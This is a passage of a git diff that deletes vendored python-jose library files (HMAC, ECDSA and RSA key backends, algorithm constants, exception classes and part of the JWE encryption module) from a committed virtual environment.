jwk_dict.get("kty")) - - k = jwk_dict.get("k") - k = k.encode("utf-8") - k = bytes(k) - k = base64url_decode(k) - - return k - - def to_dict(self): - return { - "alg": self._algorithm, - "kty": "oct", - "k": base64url_encode(self.prepared_key).decode("ASCII"), - } - - def sign(self, msg): - msg = ensure_binary(msg) - h = hmac.HMAC(self.prepared_key, self._hash_alg, backend=default_backend()) - h.update(msg) - signature = h.finalize() - return signature - - def verify(self, msg, sig): - msg = ensure_binary(msg) - sig = ensure_binary(sig) - h = hmac.HMAC(self.prepared_key, self._hash_alg, backend=default_backend()) - h.update(msg) - try: - h.verify(sig) - verified = True - except InvalidSignature: - verified = False - return verified diff --git a/venv/Lib/site-packages/jose/backends/ecdsa_backend.py b/venv/Lib/site-packages/jose/backends/ecdsa_backend.py deleted file mode 100644 index 756c7ea8ca58815f90340d68fa2d1a0ebdc95c63..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jose/backends/ecdsa_backend.py +++ /dev/null @@ -1,150 +0,0 @@ -import hashlib - -import ecdsa - -from jose.backends.base import Key -from jose.constants import ALGORITHMS -from jose.exceptions import JWKError -from jose.utils import base64_to_long, long_to_base64 - - -class ECDSAECKey(Key): - """ - Performs signing and verification operations using - ECDSA and the specified hash function - - This class requires the ecdsa package to be installed. - - This is based off of the implementation in PyJWT 0.3.2 - """ - - SHA256 = hashlib.sha256 - SHA384 = hashlib.sha384 - SHA512 = hashlib.sha512 - - CURVE_MAP = { - SHA256: ecdsa.curves.NIST256p, - SHA384: ecdsa.curves.NIST384p, - SHA512: ecdsa.curves.NIST521p, - } - CURVE_NAMES = ( - (ecdsa.curves.NIST256p, "P-256"), - (ecdsa.curves.NIST384p, "P-384"), - (ecdsa.curves.NIST521p, "P-521"), - ) - - def __init__(self, key, algorithm): - if algorithm not in ALGORITHMS.EC: - raise JWKError("hash_alg: %s is not a valid hash algorithm" % algorithm) - - self.hash_alg = { - ALGORITHMS.ES256: self.SHA256, - ALGORITHMS.ES384: self.SHA384, - ALGORITHMS.ES512: self.SHA512, - }.get(algorithm) - self._algorithm = algorithm - - self.curve = self.CURVE_MAP.get(self.hash_alg) - - if isinstance(key, (ecdsa.SigningKey, ecdsa.VerifyingKey)): - self.prepared_key = key - return - - if isinstance(key, dict): - self.prepared_key = self._process_jwk(key) - return - - if isinstance(key, str): - key = key.encode("utf-8") - - if isinstance(key, bytes): - # Attempt to load key. We don't know if it's - # a Signing Key or a Verifying Key, so we try - # the Verifying Key first. - try: - key = ecdsa.VerifyingKey.from_pem(key) - except ecdsa.der.UnexpectedDER: - key = ecdsa.SigningKey.from_pem(key) - except Exception as e: - raise JWKError(e) - - self.prepared_key = key - return - - raise JWKError("Unable to parse an ECKey from key: %s" % key) - - def _process_jwk(self, jwk_dict): - if not jwk_dict.get("kty") == "EC": - raise JWKError("Incorrect key type. Expected: 'EC', Received: %s" % jwk_dict.get("kty")) - - if not all(k in jwk_dict for k in ["x", "y", "crv"]): - raise JWKError("Mandatory parameters are missing") - - if "d" in jwk_dict: - # We are dealing with a private key; the secret exponent is enough - # to create an ecdsa key. - d = base64_to_long(jwk_dict.get("d")) - return ecdsa.keys.SigningKey.from_secret_exponent(d, self.curve) - else: - x = base64_to_long(jwk_dict.get("x")) - y = base64_to_long(jwk_dict.get("y")) - - if not ecdsa.ecdsa.point_is_valid(self.curve.generator, x, y): - raise JWKError(f"Point: {x}, {y} is not a valid point") - - point = ecdsa.ellipticcurve.Point(self.curve.curve, x, y, self.curve.order) - return ecdsa.keys.VerifyingKey.from_public_point(point, self.curve) - - def sign(self, msg): - return self.prepared_key.sign( - msg, hashfunc=self.hash_alg, sigencode=ecdsa.util.sigencode_string, allow_truncate=False - ) - - def verify(self, msg, sig): - try: - return self.prepared_key.verify( - sig, msg, hashfunc=self.hash_alg, sigdecode=ecdsa.util.sigdecode_string, allow_truncate=False - ) - except Exception: - return False - - def is_public(self): - return isinstance(self.prepared_key, ecdsa.VerifyingKey) - - def public_key(self): - if self.is_public(): - return self - return self.__class__(self.prepared_key.get_verifying_key(), self._algorithm) - - def to_pem(self): - return self.prepared_key.to_pem() - - def to_dict(self): - if not self.is_public(): - public_key = self.prepared_key.get_verifying_key() - else: - public_key = self.prepared_key - crv = None - for key, value in self.CURVE_NAMES: - if key == self.prepared_key.curve: - crv = value - if not crv: - raise KeyError(f"Can't match {self.prepared_key.curve}") - - # Calculate the key size in bytes. Section 6.2.1.2 and 6.2.1.3 of - # RFC7518 prescribes that the 'x', 'y' and 'd' parameters of the curve - # points must be encoded as octed-strings of this length. - key_size = self.prepared_key.curve.baselen - - data = { - "alg": self._algorithm, - "kty": "EC", - "crv": crv, - "x": long_to_base64(public_key.pubkey.point.x(), size=key_size).decode("ASCII"), - "y": long_to_base64(public_key.pubkey.point.y(), size=key_size).decode("ASCII"), - } - - if not self.is_public(): - data["d"] = long_to_base64(self.prepared_key.privkey.secret_multiplier, size=key_size).decode("ASCII") - - return data diff --git a/venv/Lib/site-packages/jose/backends/native.py b/venv/Lib/site-packages/jose/backends/native.py deleted file mode 100644 index 8cc77dab75d54065affad1cbf75b6d24fc722da6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jose/backends/native.py +++ /dev/null @@ -1,69 +0,0 @@ -import hashlib -import hmac -import os - -from jose.backends.base import Key -from jose.constants import ALGORITHMS -from jose.exceptions import JWKError -from jose.utils import base64url_decode, base64url_encode, is_pem_format, is_ssh_key - - -def get_random_bytes(num_bytes): - return bytes(os.urandom(num_bytes)) - - -class HMACKey(Key): - """ - Performs signing and verification operations using HMAC - and the specified hash function. - """ - - HASHES = {ALGORITHMS.HS256: hashlib.sha256, ALGORITHMS.HS384: hashlib.sha384, ALGORITHMS.HS512: hashlib.sha512} - - def __init__(self, key, algorithm): - if algorithm not in ALGORITHMS.HMAC: - raise JWKError("hash_alg: %s is not a valid hash algorithm" % algorithm) - self._algorithm = algorithm - self._hash_alg = self.HASHES.get(algorithm) - - if isinstance(key, dict): - self.prepared_key = self._process_jwk(key) - return - - if not isinstance(key, str) and not isinstance(key, bytes): - raise JWKError("Expecting a string- or bytes-formatted key.") - - if isinstance(key, str): - key = key.encode("utf-8") - - if is_pem_format(key) or is_ssh_key(key): - raise JWKError( - "The specified key is an asymmetric key or x509 certificate and" - " should not be used as an HMAC secret." - ) - - self.prepared_key = key - - def _process_jwk(self, jwk_dict): - if not jwk_dict.get("kty") == "oct": - raise JWKError("Incorrect key type. Expected: 'oct', Received: %s" % jwk_dict.get("kty")) - - k = jwk_dict.get("k") - k = k.encode("utf-8") - k = bytes(k) - k = base64url_decode(k) - - return k - - def sign(self, msg): - return hmac.new(self.prepared_key, msg, self._hash_alg).digest() - - def verify(self, msg, sig): - return hmac.compare_digest(sig, self.sign(msg)) - - def to_dict(self): - return { - "alg": self._algorithm, - "kty": "oct", - "k": base64url_encode(self.prepared_key).decode("ASCII"), - } diff --git a/venv/Lib/site-packages/jose/backends/rsa_backend.py b/venv/Lib/site-packages/jose/backends/rsa_backend.py deleted file mode 100644 index 8139d69854428274bd827b7ffb43884a226c6ce0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jose/backends/rsa_backend.py +++ /dev/null @@ -1,283 +0,0 @@ -import binascii -import warnings - -import rsa as pyrsa -import rsa.pem as pyrsa_pem -from pyasn1.error import PyAsn1Error -from rsa import DecryptionError - -from jose.backends._asn1 import ( - rsa_private_key_pkcs1_to_pkcs8, - rsa_private_key_pkcs8_to_pkcs1, - rsa_public_key_pkcs1_to_pkcs8, -) -from jose.backends.base import Key -from jose.constants import ALGORITHMS -from jose.exceptions import JWEError, JWKError -from jose.utils import base64_to_long, long_to_base64 - -ALGORITHMS.SUPPORTED.remove(ALGORITHMS.RSA_OAEP) # RSA OAEP not supported - -LEGACY_INVALID_PKCS8_RSA_HEADER = binascii.unhexlify( - "30" # sequence - "8204BD" # DER-encoded sequence contents length of 1213 bytes -- INCORRECT STATIC LENGTH - "020100" # integer: 0 -- Version - "30" # sequence - "0D" # DER-encoded sequence contents length of 13 bytes -- PrivateKeyAlgorithmIdentifier - "06092A864886F70D010101" # OID -- rsaEncryption - "0500" # NULL -- parameters -) -ASN1_SEQUENCE_ID = binascii.unhexlify("30") -RSA_ENCRYPTION_ASN1_OID = "1.2.840.113549.1.1.1" - -# Functions gcd and rsa_recover_prime_factors were copied from cryptography 1.9 -# to enable pure python rsa module to be in compliance with section 6.3.1 of RFC7518 -# which requires only private exponent (d) for private key. - - -def _gcd(a, b): - """Calculate the Greatest Common Divisor of a and b. - - Unless b==0, the result will have the same sign as b (so that when - b is divided by it, the result comes out positive). - """ - while b: - a, b = b, (a % b) - return a - - -# Controls the number of iterations rsa_recover_prime_factors will perform -# to obtain the prime factors. Each iteration increments by 2 so the actual -# maximum attempts is half this number. -_MAX_RECOVERY_ATTEMPTS = 1000 - - -def _rsa_recover_prime_factors(n, e, d): - """ - Compute factors p and q from the private exponent d. We assume that n has - no more than two factors. This function is adapted from code in PyCrypto. - """ - # See 8.2.2(i) in Handbook of Applied Cryptography. - ktot = d * e - 1 - # The quantity d*e-1 is a multiple of phi(n), even, - # and can be represented as t*2^s. - t = ktot - while t % 2 == 0: - t = t // 2 - # Cycle through all multiplicative inverses in Zn. - # The algorithm is non-deterministic, but there is a 50% chance - # any candidate a leads to successful factoring. - # See "Digitalized Signatures and Public Key Functions as Intractable - # as Factorization", M. Rabin, 1979 - spotted = False - a = 2 - while not spotted and a < _MAX_RECOVERY_ATTEMPTS: - k = t - # Cycle through all values a^{t*2^i}=a^k - while k < ktot: - cand = pow(a, k, n) - # Check if a^k is a non-trivial root of unity (mod n) - if cand != 1 and cand != (n - 1) and pow(cand, 2, n) == 1: - # We have found a number such that (cand-1)(cand+1)=0 (mod n). - # Either of the terms divides n. - p = _gcd(cand + 1, n) - spotted = True - break - k *= 2 - # This value was not any good... let's try another! - a += 2 - if not spotted: - raise ValueError("Unable to compute factors p and q from exponent d.") - # Found ! - q, r = divmod(n, p) - assert r == 0 - p, q = sorted((p, q), reverse=True) - return (p, q) - - -def pem_to_spki(pem, fmt="PKCS8"): - key = RSAKey(pem, ALGORITHMS.RS256) - return key.to_pem(fmt) - - -def _legacy_private_key_pkcs8_to_pkcs1(pkcs8_key): - """Legacy RSA private key PKCS8-to-PKCS1 conversion. - - .. warning:: - - This is incorrect parsing and only works because the legacy PKCS1-to-PKCS8 - encoding was also incorrect. - """ - # Only allow this processing if the prefix matches - # AND the following byte indicates an ASN1 sequence, - # as we would expect with the legacy encoding. - if not pkcs8_key.startswith(LEGACY_INVALID_PKCS8_RSA_HEADER + ASN1_SEQUENCE_ID): - raise ValueError("Invalid private key encoding") - - return pkcs8_key[len(LEGACY_INVALID_PKCS8_RSA_HEADER) :] - - -class RSAKey(Key): - SHA256 = "SHA-256" - SHA384 = "SHA-384" - SHA512 = "SHA-512" - - def __init__(self, key, algorithm): - if algorithm not in ALGORITHMS.RSA: - raise JWKError("hash_alg: %s is not a valid hash algorithm" % algorithm) - - if algorithm in ALGORITHMS.RSA_KW and algorithm != ALGORITHMS.RSA1_5: - raise JWKError("alg: %s is not supported by the RSA backend" % algorithm) - - self.hash_alg = { - ALGORITHMS.RS256: self.SHA256, - ALGORITHMS.RS384: self.SHA384, - ALGORITHMS.RS512: self.SHA512, - }.get(algorithm) - self._algorithm = algorithm - - if isinstance(key, dict): - self._prepared_key = self._process_jwk(key) - return - - if isinstance(key, (pyrsa.PublicKey, pyrsa.PrivateKey)): - self._prepared_key = key - return - - if isinstance(key, str): - key = key.encode("utf-8") - - if isinstance(key, bytes): - try: - self._prepared_key = pyrsa.PublicKey.load_pkcs1(key) - except ValueError: - try: - self._prepared_key = pyrsa.PublicKey.load_pkcs1_openssl_pem(key) - except ValueError: - try: - self._prepared_key = pyrsa.PrivateKey.load_pkcs1(key) - except ValueError: - try: - der = pyrsa_pem.load_pem(key, b"PRIVATE KEY") - try: - pkcs1_key = rsa_private_key_pkcs8_to_pkcs1(der) - except PyAsn1Error: - # If the key was encoded using the old, invalid, - # encoding then pyasn1 will throw an error attempting - # to parse the key. - pkcs1_key = _legacy_private_key_pkcs8_to_pkcs1(der) - self._prepared_key = pyrsa.PrivateKey.load_pkcs1(pkcs1_key, format="DER") - except ValueError as e: - raise JWKError(e) - return - raise JWKError("Unable to parse an RSA_JWK from key: %s" % key) - - def _process_jwk(self, jwk_dict): - if not jwk_dict.get("kty") == "RSA": - raise JWKError("Incorrect key type. Expected: 'RSA', Received: %s" % jwk_dict.get("kty")) - - e = base64_to_long(jwk_dict.get("e")) - n = base64_to_long(jwk_dict.get("n")) - - if "d" not in jwk_dict: - return pyrsa.PublicKey(e=e, n=n) - else: - d = base64_to_long(jwk_dict.get("d")) - extra_params = ["p", "q", "dp", "dq", "qi"] - - if any(k in jwk_dict for k in extra_params): - # Precomputed private key parameters are available. - if not all(k in jwk_dict for k in extra_params): - # These values must be present when 'p' is according to - # Section 6.3.2 of RFC7518, so if they are not we raise - # an error. - raise JWKError("Precomputed private key parameters are incomplete.") - - p = base64_to_long(jwk_dict["p"]) - q = base64_to_long(jwk_dict["q"]) - return pyrsa.PrivateKey(e=e, n=n, d=d, p=p, q=q) - else: - p, q = _rsa_recover_prime_factors(n, e, d) - return pyrsa.PrivateKey(n=n, e=e, d=d, p=p, q=q) - - def sign(self, msg): - return pyrsa.sign(msg, self._prepared_key, self.hash_alg) - - def verify(self, msg, sig): - if not self.is_public(): - warnings.warn("Attempting to verify a message with a private key. " "This is not recommended.") - try: - pyrsa.verify(msg, sig, self._prepared_key) - return True - except pyrsa.pkcs1.VerificationError: - return False - - def is_public(self): - return isinstance(self._prepared_key, pyrsa.PublicKey) - - def public_key(self): - if isinstance(self._prepared_key, pyrsa.PublicKey): - return self - return self.__class__(pyrsa.PublicKey(n=self._prepared_key.n, e=self._prepared_key.e), self._algorithm) - - def to_pem(self, pem_format="PKCS8"): - if isinstance(self._prepared_key, pyrsa.PrivateKey): - der = self._prepared_key.save_pkcs1(format="DER") - if pem_format == "PKCS8": - pkcs8_der = rsa_private_key_pkcs1_to_pkcs8(der) - pem = pyrsa_pem.save_pem(pkcs8_der, pem_marker="PRIVATE KEY") - elif pem_format == "PKCS1": - pem = pyrsa_pem.save_pem(der, pem_marker="RSA PRIVATE KEY") - else: - raise ValueError(f"Invalid pem format specified: {pem_format!r}") - else: - if pem_format == "PKCS8": - pkcs1_der = self._prepared_key.save_pkcs1(format="DER") - pkcs8_der = rsa_public_key_pkcs1_to_pkcs8(pkcs1_der) - pem = pyrsa_pem.save_pem(pkcs8_der, pem_marker="PUBLIC KEY") - elif pem_format == "PKCS1": - der = self._prepared_key.save_pkcs1(format="DER") - pem = pyrsa_pem.save_pem(der, pem_marker="RSA PUBLIC KEY") - else: - raise ValueError(f"Invalid pem format specified: {pem_format!r}") - return pem - - def to_dict(self): - if not self.is_public(): - public_key = self.public_key()._prepared_key - else: - public_key = self._prepared_key - - data = { - "alg": self._algorithm, - "kty": "RSA", - "n": long_to_base64(public_key.n).decode("ASCII"), - "e": long_to_base64(public_key.e).decode("ASCII"), - } - - if not self.is_public(): - data.update( - { - "d": long_to_base64(self._prepared_key.d).decode("ASCII"), - "p": long_to_base64(self._prepared_key.p).decode("ASCII"), - "q": long_to_base64(self._prepared_key.q).decode("ASCII"), - "dp": long_to_base64(self._prepared_key.exp1).decode("ASCII"), - "dq": long_to_base64(self._prepared_key.exp2).decode("ASCII"), - "qi": long_to_base64(self._prepared_key.coef).decode("ASCII"), - } - ) - - return data - - def wrap_key(self, key_data): - if not self.is_public(): - warnings.warn("Attempting to encrypt a message with a private key." " This is not recommended.") - wrapped_key = pyrsa.encrypt(key_data, self._prepared_key) - return wrapped_key - - def unwrap_key(self, wrapped_key): - try: - unwrapped_key = pyrsa.decrypt(wrapped_key, self._prepared_key) - except DecryptionError as e: - raise JWEError(e) - return unwrapped_key diff --git a/venv/Lib/site-packages/jose/constants.py b/venv/Lib/site-packages/jose/constants.py deleted file mode 100644 index 58787d4640a4e01a95e67688afa9bbbabf06b008..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jose/constants.py +++ /dev/null @@ -1,100 +0,0 @@ -import hashlib - - -class Algorithms: - # DS Algorithms - NONE = "none" - HS256 = "HS256" - HS384 = "HS384" - HS512 = "HS512" - RS256 = "RS256" - RS384 = "RS384" - RS512 = "RS512" - ES256 = "ES256" - ES384 = "ES384" - ES512 = "ES512" - - # Content Encryption Algorithms - A128CBC_HS256 = "A128CBC-HS256" - A192CBC_HS384 = "A192CBC-HS384" - A256CBC_HS512 = "A256CBC-HS512" - A128GCM = "A128GCM" - A192GCM = "A192GCM" - A256GCM = "A256GCM" - - # Pseudo algorithm for encryption - A128CBC = "A128CBC" - A192CBC = "A192CBC" - A256CBC = "A256CBC" - - # CEK Encryption Algorithms - DIR = "dir" - RSA1_5 = "RSA1_5" - RSA_OAEP = "RSA-OAEP" - RSA_OAEP_256 = "RSA-OAEP-256" - A128KW = "A128KW" - A192KW = "A192KW" - A256KW = "A256KW" - ECDH_ES = "ECDH-ES" - ECDH_ES_A128KW = "ECDH-ES+A128KW" - ECDH_ES_A192KW = "ECDH-ES+A192KW" - ECDH_ES_A256KW = "ECDH-ES+A256KW" - A128GCMKW = "A128GCMKW" - A192GCMKW = "A192GCMKW" - A256GCMKW = "A256GCMKW" - PBES2_HS256_A128KW = "PBES2-HS256+A128KW" - PBES2_HS384_A192KW = "PBES2-HS384+A192KW" - PBES2_HS512_A256KW = "PBES2-HS512+A256KW" - - # Compression Algorithms - DEF = "DEF" - - HMAC = {HS256, HS384, HS512} - RSA_DS = {RS256, RS384, RS512} - RSA_KW = {RSA1_5, RSA_OAEP, RSA_OAEP_256} - RSA = RSA_DS.union(RSA_KW) - EC_DS = {ES256, ES384, ES512} - EC_KW = {ECDH_ES, ECDH_ES_A128KW, ECDH_ES_A192KW, ECDH_ES_A256KW} - EC = EC_DS.union(EC_KW) - AES_PSEUDO = {A128CBC, A192CBC, A256CBC, A128GCM, A192GCM, A256GCM} - AES_JWE_ENC = {A128CBC_HS256, A192CBC_HS384, A256CBC_HS512, A128GCM, A192GCM, A256GCM} - AES_ENC = AES_JWE_ENC.union(AES_PSEUDO) - AES_KW = {A128KW, A192KW, A256KW} - AEC_GCM_KW = {A128GCMKW, A192GCMKW, A256GCMKW} - AES = AES_ENC.union(AES_KW) - PBES2_KW = {PBES2_HS256_A128KW, PBES2_HS384_A192KW, PBES2_HS512_A256KW} - - HMAC_AUTH_TAG = {A128CBC_HS256, A192CBC_HS384, A256CBC_HS512} - GCM = {A128GCM, A192GCM, A256GCM} - - SUPPORTED = HMAC.union(RSA_DS).union(EC_DS).union([DIR]).union(AES_JWE_ENC).union(RSA_KW).union(AES_KW) - - ALL = SUPPORTED.union([NONE]).union(AEC_GCM_KW).union(EC_KW).union(PBES2_KW) - - HASHES = { - HS256: hashlib.sha256, - HS384: hashlib.sha384, - HS512: hashlib.sha512, - RS256: hashlib.sha256, - RS384: hashlib.sha384, - RS512: hashlib.sha512, - ES256: hashlib.sha256, - ES384: hashlib.sha384, - ES512: hashlib.sha512, - } - - KEYS = {} - - -ALGORITHMS = Algorithms() - - -class Zips: - DEF = "DEF" - NONE = None - SUPPORTED = {DEF, NONE} - - -ZIPS = Zips() - -JWE_SIZE_LIMIT = 250 * 1024 diff --git a/venv/Lib/site-packages/jose/exceptions.py b/venv/Lib/site-packages/jose/exceptions.py deleted file mode 100644 index e8edc3b6a5a8da1d09a2ba504690b4f480a4f416..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jose/exceptions.py +++ /dev/null @@ -1,59 +0,0 @@ -class JOSEError(Exception): - pass - - -class JWSError(JOSEError): - pass - - -class JWSSignatureError(JWSError): - pass - - -class JWSAlgorithmError(JWSError): - pass - - -class JWTError(JOSEError): - pass - - -class JWTClaimsError(JWTError): - pass - - -class ExpiredSignatureError(JWTError): - pass - - -class JWKError(JOSEError): - pass - - -class JWEError(JOSEError): - """Base error for all JWE errors""" - - pass - - -class JWEParseError(JWEError): - """Could not parse the JWE string provided""" - - pass - - -class JWEInvalidAuth(JWEError): - """ - The authentication tag did not match the protected sections of the - JWE string provided - """ - - pass - - -class JWEAlgorithmUnsupportedError(JWEError): - """ - The JWE algorithm is not supported by the backend - """ - - pass diff --git a/venv/Lib/site-packages/jose/jwe.py b/venv/Lib/site-packages/jose/jwe.py deleted file mode 100644 index 09e5c329817ad6657c2ea671c06727819c9e09e4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jose/jwe.py +++ /dev/null @@ -1,619 +0,0 @@ -import binascii -import json -import zlib -from collections.abc import Mapping -from struct import pack - -from . import jwk -from .backends import get_random_bytes -from .constants import ALGORITHMS, JWE_SIZE_LIMIT, ZIPS -from .exceptions import JWEError, JWEParseError -from .utils import base64url_decode, base64url_encode, ensure_binary - - -def encrypt(plaintext, key, encryption=ALGORITHMS.A256GCM, algorithm=ALGORITHMS.DIR, zip=None, cty=None, kid=None): - """Encrypts plaintext and returns a JWE compact serialization string. - - Args: - plaintext (bytes): A bytes object to encrypt - key (str or dict): The key(s) to use for encrypting the content. Can be - individual JWK or JWK set. - encryption (str, optional): The content encryption algorithm used to - perform authenticated encryption on the plaintext to produce the - ciphertext and the Authentication Tag. Defaults to A256GCM. - algorithm (str, optional): The cryptographic algorithm used - to encrypt or determine the value of the CEK. Defaults to dir. - zip (str, optional): The compression algorithm) applied to the - plaintext before encryption. Defaults to None. - cty (str, optional): The media type for the secured content. - See http://www.iana.org/assignments/media-types/media-types.xhtml - kid (str, optional): Key ID for the provided key - - Returns: - bytes: The string representation of the header, encrypted key, - initialization vector, ciphertext, and authentication tag. - - Raises: - JWEError: If there is an error signing the token. - - Examples: - >>> from jose import jwe - >>> jwe.encrypt('Hello, World!', 'asecret128bitkey', algorithm='dir', encryption='A128GCM') - 'eyJhbGciOiJkaXIiLCJlbmMiOiJBMTI4R0NNIn0..McILMB3dYsNJSuhcDzQshA.OfX9H_mcUpHDeRM4IA.CcnTWqaqxNsjT4eCaUABSg' - - """ - plaintext = ensure_binary(plaintext) # Make sure it's bytes - if algorithm not in ALGORITHMS.SUPPORTED: - raise JWEError("Algorithm %s not supported." % algorithm) - if encryption not in ALGORITHMS.SUPPORTED: - raise JWEError("Algorithm %s not supported." % encryption) - key = jwk.construct(key, algorithm) - encoded_header = _encoded_header(algorithm, encryption, zip, cty, kid) - - plaintext = _compress(zip, plaintext) - enc_cek, iv, cipher_text, auth_tag = _encrypt_and_auth(key, algorithm, encryption, zip, plaintext, encoded_header) - - jwe_string = _jwe_compact_serialize(encoded_header, enc_cek, iv, cipher_text, auth_tag) - return jwe_string - - -def decrypt(jwe_str, key): - """Decrypts a JWE compact serialized string and returns the plaintext. - - Args: - jwe_str (str): A JWE to be decrypt. - key (str or dict): A key to attempt to decrypt the payload with. Can be - individual JWK or JWK set. - - Returns: - bytes: The plaintext bytes, assuming the authentication tag is valid. - - Raises: - JWEError: If there is an exception verifying the token. - - Examples: - >>> from jose import jwe - >>> jwe.decrypt(jwe_string, 'asecret128bitkey') - 'Hello, World!' - """ - - # Limit the token size - if the data is compressed then decompressing the - # data could lead to large memory usage. This helps address This addresses - # CVE-2024-33664. Also see _decompress() - if len(jwe_str) > JWE_SIZE_LIMIT: - raise JWEError(f"JWE string {len(jwe_str)} bytes exceeds {JWE_SIZE_LIMIT} bytes") - - header, encoded_header, encrypted_key, iv, cipher_text, auth_tag = _jwe_compact_deserialize(jwe_str) - - # Verify that the implementation understands and can process all - # fields that it is required to support, whether required by this - # specification, by the algorithms being used, or by the "crit" - # Header Parameter value, and that the values of those parameters - # are also understood and supported. - - try: - # Determine the Key Management Mode employed by the algorithm - # specified by the "alg" (algorithm) Header Parameter. - alg = header["alg"] - enc = header["enc"] - if alg not in ALGORITHMS.SUPPORTED: - raise JWEError("Algorithm %s not supported." % alg) - if enc not in ALGORITHMS.SUPPORTED: - raise JWEError("Algorithm %s not supported." % enc) - - except KeyError: - raise JWEParseError("alg and enc headers are required!") - - # Verify that the JWE uses a key known to the recipient. - key = jwk.construct(key, alg) - - # When Direct Key Agreement or Key Agreement with Key Wrapping are - # employed, use the key agreement algorithm to compute the value - # of the agreed upon key. When Direct Key Agreement is employed, - # let the CEK be the agreed upon key. When Key Agreement with Key - # Wrapping is employed, the agreed upon key will be used to - # decrypt the JWE Encrypted Key. - # - # When Key Wrapping, Key Encryption, or Key Agreement with Key - # Wrapping are employed, decrypt the JWE Encrypted Key to produce - # the CEK. The CEK MUST have a length equal to that required for - # the content encryption algorithm. Note that when there are - # multiple recipients, each recipient will only be able to decrypt - # JWE Encrypted Key values that were encrypted to a key in that - # recipient's possession. It is therefore normal to only be able - # to decrypt one of the per-recipient JWE Encrypted Key values to - # obtain the CEK value. Also, see Section 11.5 for security - # considerations on mitigating timing attacks. - if alg == ALGORITHMS.DIR: - # When Direct Key Agreement or Direct Encryption are employed, - # verify that the JWE Encrypted Key value is an empty octet - # sequence. - - # Record whether the CEK could be successfully determined for this - # recipient or not. - cek_valid = encrypted_key == b"" - - # When Direct Encryption is employed, let the CEK be the shared - # symmetric key. - cek_bytes = _get_key_bytes_from_key(key) - else: - try: - cek_bytes = key.unwrap_key(encrypted_key) - - # Record whether the CEK could be successfully determined for this - # recipient or not. - cek_valid = True - except NotImplementedError: - raise JWEError(f"alg {alg} is not implemented") - except Exception: - # Record whether the CEK could be successfully determined for this - # recipient or not. - cek_valid = False - - # To mitigate the attacks described in RFC 3218 [RFC3218], the - # recipient MUST NOT distinguish between format, padding, and length - # errors of encrypted keys. It is strongly recommended, in the event - # of receiving an improperly formatted key, that the recipient - # substitute a randomly generated CEK and proceed to the next step, to - # mitigate timing attacks. - cek_bytes = _get_random_cek_bytes_for_enc(enc) - - # Compute the Encoded Protected Header value BASE64URL(UTF8(JWE - # Protected Header)). If the JWE Protected Header is not present - # (which can only happen when using the JWE JSON Serialization and - # no "protected" member is present), let this value be the empty - # string. - protected_header = encoded_header - - # Let the Additional Authenticated Data encryption parameter be - # ASCII(Encoded Protected Header). However, if a JWE AAD value is - # present (which can only be the case when using the JWE JSON - # Serialization), instead let the Additional Authenticated Data - # encryption parameter be ASCII(Encoded Protected Header || '.' || - # BASE64URL(JWE AAD)). - aad = protected_header - - # Decrypt the JWE Ciphertext using the CEK, the JWE Initialization - # Vector, the Additional Authenticated Data value, and the JWE - # Authentication Tag (which is the Authentication Tag input to the - # calculation) using the specified content encryption algorithm, - # returning the decrypted plaintext and validating the JWE - # Authentication Tag in the manner specified for the algorithm, - # rejecting the input without emitting any decrypted output if the - # JWE Authentication Tag is incorrect. - try: - plain_text = _decrypt_and_auth(cek_bytes, enc, cipher_text, iv, aad, auth_tag) - except NotImplementedError: - raise JWEError(f"enc {enc} is not implemented") - except Exception as e: - raise JWEError(e) - - # If a "zip" parameter was included, uncompress the decrypted - # plaintext using the specified compression algorithm. - if plain_text is not None: - plain_text = _decompress(header.get("zip"), plain_text) - - return plain_text if cek_valid else None - - -def get_unverified_header(jwe_str): - """Returns the decoded headers without verification of any kind. - - Args: - jwe_str (str): A compact serialized JWE to decode the headers from. - - Returns: - dict: The dict representation of the JWE headers. - - Raises: - JWEError: If there is an exception decoding the JWE. - """ - header = _jwe_compact_deserialize(jwe_str)[0] - return header - - -def _decrypt_and_auth(cek_bytes, enc, cipher_text, iv, aad, auth_tag): - """ - Decrypt and verify the data - - Args: - cek_bytes (bytes): cek to derive encryption and possible auth key to - verify the auth tag - cipher_text (bytes): Encrypted data - iv (bytes): Initialization vector (iv) used to encrypt data - aad (bytes): Additional Authenticated Data used to verify the data - auth_tag (bytes): Authentication ntag to verify the data - - Returns: - (bytes): Decrypted data - """ - # Decrypt the JWE Ciphertext using the CEK, the JWE Initialization - # Vector, the Additional Authenticated Data value, and the JWE - # Authentication Tag (which is the Authentication Tag input to the - # calculation) using the specified content encryption algorithm, - # returning the decrypted plaintext - # and validating the JWE - # Authentication Tag in the manner specified for the algorithm, - if enc in ALGORITHMS.HMAC_AUTH_TAG: - encryption_key, mac_key, key_len = _get_encryption_key_mac_key_and_key_length_from_cek(cek_bytes, enc) - auth_tag_check = _auth_tag(cipher_text, iv, aad, mac_key, key_len) - elif enc in ALGORITHMS.GCM: - encryption_key = jwk.construct(cek_bytes, enc) - auth_tag_check = auth_tag # GCM check auth on decrypt - else: - raise NotImplementedError(f"enc {enc} is not implemented!") - - plaintext = encryption_key.decrypt(cipher_text, iv, aad, auth_tag) - if auth_tag != auth_tag_check: - raise JWEError("Invalid JWE Auth Tag") - - return plaintext - - -def _get_encryption_key_mac_key_and_key_length_from_cek(cek_bytes, enc): - derived_key_len = len(cek_bytes) // 2 - mac_key_bytes = cek_bytes[0:derived_key_len] - mac_key = _get_hmac_key(enc, mac_key_bytes) - encryption_key_bytes = cek_bytes[-derived_key_len:] - encryption_alg, _ = enc.split("-") - encryption_key = jwk.construct(encryption_key_bytes, encryption_alg) - return encryption_key, mac_key, derived_key_len - - -def _jwe_compact_deserialize(jwe_bytes): - """ - Deserialize and verify the header and segments are appropriate. - - Args: - jwe_bytes (bytes): The compact serialized JWE - Returns: - (dict, bytes, bytes, bytes, bytes, bytes) - """ - - # Base64url decode the encoded representations of the JWE - # Protected Header, the JWE Encrypted Key, the JWE Initialization - # Vector, the JWE Ciphertext, the JWE Authentication Tag, and the - # JWE AAD, following the restriction that no line breaks, - # whitespace, or other additional characters have been used. - jwe_bytes = ensure_binary(jwe_bytes) - try: - header_segment, encrypted_key_segment, iv_segment, cipher_text_segment, auth_tag_segment = jwe_bytes.split( - b".", 4 - ) - header_data = base64url_decode(header_segment) - except ValueError: - raise JWEParseError("Not 